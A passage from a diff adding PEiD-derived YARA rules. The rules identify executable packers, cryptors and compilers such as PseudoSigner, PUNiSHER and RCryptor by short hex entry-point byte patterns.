+        description = "[PseudoSigner 0.2 [Macromedia Flash Projector 6.0]]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01878_PseudoSigner_0_2__MEW_11_SE_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [MEW 11 SE 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+    condition:
+        $a
+}
+rule PEiD_01879_PseudoSigner_0_2__Microsoft_Visual_Basic_5_0___6_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Microsoft Visual Basic 5.0 - 6.0]]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 0A 00 00 00 00 00 00 00 00 00 30 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01880_PseudoSigner_0_2__Microsoft_Visual_C___7_0_DLL_____Anorganix_
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Microsoft Visual C++ 7.0 DLL] -> Anorganix]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C 01 00 81 EC 00 00 00 00 8B 45 90 83 F8 01 56 0F 84 00 00 00 00 85 C0 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_01881_PseudoSigner_0_2__MinGW_GCC_2_x__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [MinGW GCC 2.x]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45}
+    condition:
+        $a
+}
+
+rule PEiD_01882_PseudoSigner_0_2__NorthStar_PE_Shrinker_1_3__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [NorthStar PE Shrinker 1.3]]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01883_PseudoSigner_0_2__PE_Intro_1_0__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Intro 1.0]]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01884_PseudoSigner_0_2__PE_Pack_0_99__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Pack 0.99]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+    condition:
+        $a
+}
+
+rule PEiD_01885_PseudoSigner_0_2__PE_Protect_0_9__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PE Protect 0.9]]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01886_PseudoSigner_0_2__PENightMare_2_Beta__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PENightMare 2 Beta]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+    condition:
+        $a
+}
+
+rule PEiD_01887_PseudoSigner_0_2__PESHiELD_0_25__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PESHiELD 0.25]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01888_PseudoSigner_0_2__PEX_0_99__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [PEX 0.99]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01889_PseudoSigner_0_2__REALBasic__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [REALBasic]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01890_PseudoSigner_0_2__UPX_0_6__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [UPX 0.6]]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01891_PseudoSigner_0_2__Video_Lan_Client__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Video-Lan-Client]]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01}
+    condition:
+        $a
+}
+
+rule PEiD_01892_PseudoSigner_0_2__VOB_ProtectCD_5__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [VOB ProtectCD 5]]"
+        ep_only = "true"
+    strings:
+        $a = {36 3E 26 8A C0 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01893_PseudoSigner_0_2__Watcom_C_C___DLL__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [Watcom C/C++ DLL]]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 01 00 00 00 F1}
+    condition:
+        $a
+}
+
+rule PEiD_01894_PseudoSigner_0_2__WATCOM_C_C___EXE__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [WATCOM C/C++ EXE]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 90 90 90 90 57 41}
+    condition:
+        $a
+}
+
+rule PEiD_01895_PseudoSigner_0_2__ZCode_1_01__
+{
+    meta:
+        description = "[PseudoSigner 0.2 [ZCode 1.01]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01896_PUNiSHER_1_5__DEMO_____FEUERRADER_AHTeam_
+{
+    meta:
+        description = "[PUNiSHER 1.5 (DEMO) -> FEUERRADER/AHTeam]"
+        ep_only = "false"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04}
+    condition:
+        $a
+}
+
+rule PEiD_01897_PUNiSHER_v1_5__DEMO_____FEUERRADER_AHTeam_
+{
+    meta:
+        description = "[PUNiSHER v1.5 (DEMO) -> FEUERRADER/AHTeam]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00 81 2C 24 CA C2 41 00 EB 04 64 6B 88 18 5D E8 00 00 00 00 EB 04 64 6B 88 18 81 2C 24 86 00 00 00 EB 04 64 6B 88 18 8B 85 9C C2 41 00 EB 04 64 6B 88 18 29 04 24 EB 04 64 6B 88 18 EB 04 64 6B 88 18 8B 04 24 EB 04 64 6B 88 18 89 85 9C C2 41 00 EB 04 64 6B 88 18 58 68 9F 6F 56 B6 50 E8 5D 00 00 00 EB FF 71 78 C2 50 00 EB D3 5B F3 68 89 5C 24 48 5C 24 58 FF 8D 5C 24 58 5B 83 C3 4C 75 F4 5A 8D 71 78 75 09 81 F3 EB FF 52 BA 01 00 83 EB FC 4A FF 71 0F 75 19 8B 5C 24 00 00 81 33 50 53 8B 1B 0F FF C6 75 1B 81 F3 EB 87 1C 24 8B 8B 04 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 58 EB FF F0 EB FF C0 83 E8 FD EB FF 30 E8 C9 00 00 00 89 E0 EB FF D0 EB FF 71 0F 83 C0 01 EB FF 70 F0 71 EE EB FA EB 83 C0 14 EB FF 70 ED}
+    condition:
+        $a
+}
+
+rule PEiD_01898_PUNiSHER_V1_5____FEUERRADER_
+{
+    meta:
+        description = "[PUNiSHER V1.5 -> FEUERRADER]"
+        ep_only = "false"
+    strings:
+        $a = {3F 00 00 80 66 20 ?? 00 7E 20 ?? 00 92 20 ?? 00 A4 20 ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32}
+    condition:
+        $a
+}
+
+rule PEiD_01899_PUNiSHER_V1_5_Demo____FEUERRADER_
+{
+    meta:
+        description = "[PUNiSHER V1.5 Demo -> FEUERRADER]"
+        ep_only = "true"
+    strings:
+        $a = {EB 04 83 A4 BC CE 60 EB 04 80 BC 04 11 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01900_PuNkMoD_1_x____PuNkDuDe_
+{
+    meta:
+        description = "[PuNkMoD 1.x -> PuNkDuDe]"
+        ep_only = "true"
+    strings:
+        $a = {94 B9 ?? ?? 00 00 BC ?? ?? ?? ?? 80 34 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01901_PureBasic_4_x____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic 4.x -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? 00 00 68 00 00 00 00 68 ?? ?? ?? 00 E8 ?? ?? ?? 00 83 C4 0C 68 00 00 00 00 E8 ?? ?? ?? 00 A3 ?? ?? ?? 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? ?? ?? 00 A3}
+    condition:
+        $a
+}
+
+rule PEiD_01902_PureBasic_4_x_DLL____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic 4.x DLL -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 0E 8B 44 24 04 A3 ?? ?? ?? 10 E8 22 00 00 00 83 7C 24 08 02 75 00 83 7C 24 08 00 75 05 E8 ?? 00 00 00 83 7C 24 08 03 75 00 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 68 00 10 00 00 68 00 00 00 00 E8 ?? 0F 00 00 A3}
+    condition:
+        $a
+}
+rule PEiD_01903_PureBasic_DLL____Neil_Hodgson_
+{
+    meta:
+        description = "[PureBasic DLL -> Neil Hodgson]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 ?? 8B 44 24 04 A3 ?? ?? ?? 10 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01904_R_SC_s_Process_Patcher_1_4_
+{
+    meta:
+        description = "[R!SC's Process Patcher 1.4]"
+        ep_only = "false"
+    strings:
+        $a = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+    condition:
+        $a
+}
+
+rule PEiD_01905_R_SC_s_Process_Patcher_1_5_1_
+{
+    meta:
+        description = "[R!SC's Process Patcher 1.5.1]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83}
+    condition:
+        $a
+}
+
+rule PEiD_01906_R_SC_s_Process_Patcher_v1_4_
+{
+    meta:
+        description = "[R!SC's Process Patcher v1.4]"
+        ep_only = "false"
+    strings:
+        $a = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92 20 40 00 68 A2 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 7C 01 00 00 85 C0 0F 84 2A 01 00 00 B8 00 60 40 00 8B 00 A3 1C 22 40 00 BE 40 60 40 00 83 7E FC 00 0F 84 F6 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 83 00 00 00 81 FF 72 21 73 63 0F 84 DD 00 00 00 33 DB 66 8B 1E 8B CF 8D 7E 02 C7 05 EA 21 40 00 00 00 00 00 83 05 EA 21 40 00 01 50 A1 1C 22 40 00 39 05 EA 21 40 00 58 0F 84 C1 00 00 00 60 6A 00 53 68 EA 20 40 00 51 FF 35 92 20 40 00 E8 EB 00 00 00 61 60 FC BE EA 20 40 00 8B CB F3 A6 61 75 C2 03}
+    condition:
+        $a
+}
+
+rule PEiD_01907_R_SC_s_Process_Patcher_v1_5_1_
+{
+    meta:
+        description = "[R!SC's Process Patcher v1.5.1]"
+        ep_only = "false"
+    strings:
+        $a = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83 C6 40 83 7E FC 00 0F 84 8F 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 E5 00 00 00 81 FF 72 21 73 63 74 7A 0F B7 1E 8B CF 8D 7E 02 C7 05 24 21 40 00 00 00 00 00 83 05 24 21 40 00 01 50 A1 28 21 40 00 39 05 24 21 40 00 58 0F 84 D8 00 00 00 60 6A 00 53 68 2C 21 40 00 51 FF 35 C4 20 40 00 E8 0A 01 00 00 61 60 FC BE 2C 21 40 00 8B CB F3 A6 61 75 C2 03 FB 60 E8 3E 00 00 00 6A 00 53 57 51 FF 35 C4 20 40 00 E8 FB 00 00 00 85 C0 0F 84 A2 00 00 00 61 03 FB 8B F7 E9 71 FF FF FF 60 FF 35 C8 20 40 00 E8 CB 00 00 00 61 C7 05}
+    condition:
+        $a
+}
+
+rule PEiD_01908_RAR_Configuration_file_
+{
+    meta:
+        description = "[RAR Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {52 41 52 20 43 4F 4E 46 49 47}
+    condition:
+        $a
+}
+
+rule PEiD_01909_RAR_SFX_
+{
+    meta:
+        description = "[RAR SFX]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 00 00 00 00 90}
+    condition:
+        $a
+}
+
+rule PEiD_01910_RatPacker__Glue__stub_
+{
+    meta:
+        description = "[RatPacker (Glue) stub]"
+        ep_only = "true"
+    strings:
+        $a = {40 20 FF 00 00 00 00 00 00 00 ?? BE 00 60 40 00 8D BE 00 B0 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01911_RatPacker__Glue__stub_
+{
+    meta:
+        description = "[RatPacker (Glue) stub]"
+        ep_only = "false"
+    strings:
+        $a = {40 20 FF ?? ?? ?? ?? ?? ?? ?? ?? BE ?? 60 40 ?? 8D BE ?? B0 FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01912_RAZOR_1911_encruptor_
+{
+    meta:
+        description = "[RAZOR 1911 encruptor]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01913_RCryptor_1_5_by_Vaska__UsAr_sign__individual_version__21_03_2007_22_15__
+{
+    meta:
+        description = "[RCryptor 1.5 by Vaska (UsAr sign (individual version) 21.03.2007 22:15)]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 40 A1 14 13 FF 54 24 04 83 44 24 04 4F B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 2B 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 19 40 EB F3 E8 00 00 00 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01914_RCryptor_1_6_by_Vaska__Damrai_sign_20_03_2007_20_41__
+{
+    meta:
+        description = "[RCryptor 1.6 by Vaska (Damrai sign 20.03.2007 20:41)]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 40 A1 14 13 FF D2 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 BB 40 EB F3 33 C0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01915_RCryptor_1_6c_by_Vaska__UsAr_sign_21_03_2007_22_25__
+{
+    meta:
+        description = "[RCryptor 1.6c by Vaska (UsAr sign 21.03.2007 22:25)]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 F2 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 E8 40 EB F3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01916_RCryptor_1_6d_by_Vaska__UsAr_sign_21_03_2007_22_22__
+{
+    meta:
+        description = "[RCryptor 1.6d by Vaska (UsAr sign 21.03.2007 22:22)]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 40 A1 14 13 B8 00 10 14 13 90 3D 24 C0 14 13 74 06 80 30 F6 40 EB F3 B8 8C 20 18 13 90 3D B9 27 18 13 74 06 80 30 89 40 EB F3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01917_RCryptor_2_0____Vaska_
+{
+    meta:
+        description = "[RCryptor 2.0 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? ?? ?? ?? F7 D1 83 F1 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01918_RCryptor_by_Vaska_unknown_ver__sign_from_pinch_21_03_2006_23_05__
+{
+    meta:
+        description = "[RCryptor by Vaska unknown ver (sign from pinch 21.03.2006 23:05)]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 00 10 14 13 B8 00 10 14 13 3D 00 64 14 13 74 06 80 30 BC 40 EB F3 E8 00 00 00 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01919_RCryptor_v1_1_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.1 --> Vaska]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0}
+    condition:
+        $a
+}
+
+rule PEiD_01920_RCryptor_v1_1____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.1 -> Vaska]"
+        ep_only = "false"
+    strings:
+        $a = {8B 04 24 83 E8 4F 68 ?? ?? ?? ?? FF D0 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+rule PEiD_01921_RCryptor_v1_3___v1_4_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3 / v1.4 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50}
+    condition:
+        $a
+}
+
+rule PEiD_01922_RCryptor_v1_3___v1_4____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3 / v1.4 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 8B 44 24 04 83 E8 4F 68 ?? ?? ?? ?? FF D0 58 59 50 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01923_RCryptor_v1_3b_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3b --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7}
+    condition:
+        $a
+}
+
+rule PEiD_01924_RCryptor_v1_3b____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.3b -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {61 83 EF 4F 60 68 ?? ?? ?? ?? FF D7 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01925_RCryptor_v1_5__Private_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.5 (Private) -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01926_RCryptor_v1_5_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.5 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F}
+    condition:
+        $a
+}
+
+rule PEiD_01927_RCryptor_V1_5____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.5 -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {83 2C 24 4F 68 ?? ?? ?? ?? FF 54 24 04 83 44 24 04 4F B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? ?? EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01928_RCryptor_v1_6____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01929_RCryptor_v1_6____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6 -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {33 D0 68 ?? ?? ?? ?? FF D2}
+    condition:
+        $a
+}
+
+rule PEiD_01930_RCryptor_v1_6b___v1_6c_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6b / v1.6c --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68}
+    condition:
+        $a
+}
+
+rule PEiD_01931_RCryptor_v1_6b___v1_6c____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6b / v1.6c -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01932_RCryptor_V1_6c____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.6c -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01933_RCryptor_v1_6d_____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6d --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68}
+    condition:
+        $a
+}
+rule PEiD_01934_RCryptor_V1_6d____Vaska___Sign_by_fly_
+{
+    meta:
+        description = "[RCryptor V1.6d -> Vaska ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01935_RCryptor_v1_6d____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6d -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01936_RCryptor_v1_6x____Vaska_
+{
+    meta:
+        description = "[RCryptor v1.6x -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01937_RCryptor_v1_______Vaska_
+{
+    meta:
+        description = "[RCryptor v1.?? -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+    condition:
+        $a
+}
+
+rule PEiD_01938_RCryptor_v1_______Vaska_
+{
+    meta:
+        description = "[RCryptor v1.?? -> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {90 58 90 50 90 8B 00 90 3C 50 90 58 0F 85 67 D6 EF 11 50 68}
+    condition:
+        $a
+}
+
+rule PEiD_01939_RCryptor_v2_0__Hide_EP______Vaska_
+{
+    meta:
+        description = "[RCryptor v2.0 (Hide EP) --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 DC 20 ?? 00 F7 D1 83 F1 FF E8 00 00 00 00 F7 D1 83 F1 FF C3}
+    condition:
+        $a
+}
+
+rule PEiD_01940_RCryptor_v2_0_____Vaska_
+{
+    meta:
+        description = "[RCryptor v2.0 --> Vaska]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D1 83 F1 FF 6A 00 F7 D1 83 F1 FF 81 04 24 ?? 02 00 00 F7 D1 83 F1 FF 59 BA 32 21 ?? 00 F7 D1 83 F1 FF F7 D1 83 F1 FF 80 02 E3 F7 D1 83 F1 FF C0 0A 05 F7 D1 83 F1 FF 80 02 6F F7 D1 83 F1 FF 80 32 A4 F7 D1 83 F1 FF 80 02 2D F7 D1 83 F1 FF 42 49 85 C9 75 CD 1C 4F 8D 5B FD 62 1E 1C 4F 8D 5B FD 4D 9D B9 ?? ?? ?? 1E 1C 4F 8D 5B FD 22 1C 4F 8D 5B FD 8E A2 B9 B9 E2 83 DB E2 E5 4D CD 1E BF 60 AB 1F 4D DB 1E 1E 3D 1E 92 1B 8E DC 7D EC A4 E2 4D E5 20 C6 CC B2 8E EC 2D 7D DC 1C 4F 8D 5B FD 83 56 8E E0 3A 7D D0 8E 9D 6E 7D D6 4D 25 06 C2 AB 20 CC 3A 4D 2D 9D 6B 0B 81 45 CC 18 4D 2D 1F A1 A1 6B C2 CC F7 E2 4D 2D 9E 8B 8B CC DE 2E 2D F7 1E AB 7D 45 92 30 8E E6 B9 7D D6 8E 9D 27 DA FD FD 1E 1E 8E DF B8 7D CF 8E A3 4D 7D DC 1C 4F 8D 5B FD 33 D7 1E 1E 1E A6 0B 41 A1 A6 42 61 6B 41 6B 4C 45 1E 21 F6 26 BC E2 62 1E 62 1E 62 1E 23 63 59 ?? 1E 62 1E 62 1E 33 D7 1E 1E 1E 85 6B C2 41 AB C2 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 20 33 9E 1E 1E 1E 85 A2 0B 8B C2 27 41 EB A1 A2 C2 1E C0 FD F0 FD 30 62 1E 33 7E 1E 1E 1E C6 2D 42 AB 9F 23 6B C2 41 A1 1E C0 FD F0 FD 30 C0 FD F0 8E 1D 1C 4F 8D 5B FD E0 00 33 5E 1E 1E 1E BF 0B EC C2 E6 42 A2 C2 45 1E C0 FD F0 FD 30 CE 36 CC F2 1C 4F 8D 5B FD}
+    condition:
+        $a
+}
+
+rule PEiD_01941_RE_Crypt_0_7x____Crudd__RET__
+{
+    meta:
+        description = "[RE-Crypt 0.7x -> Crudd [RET]]"
+        ep_only = "true"
+    strings:
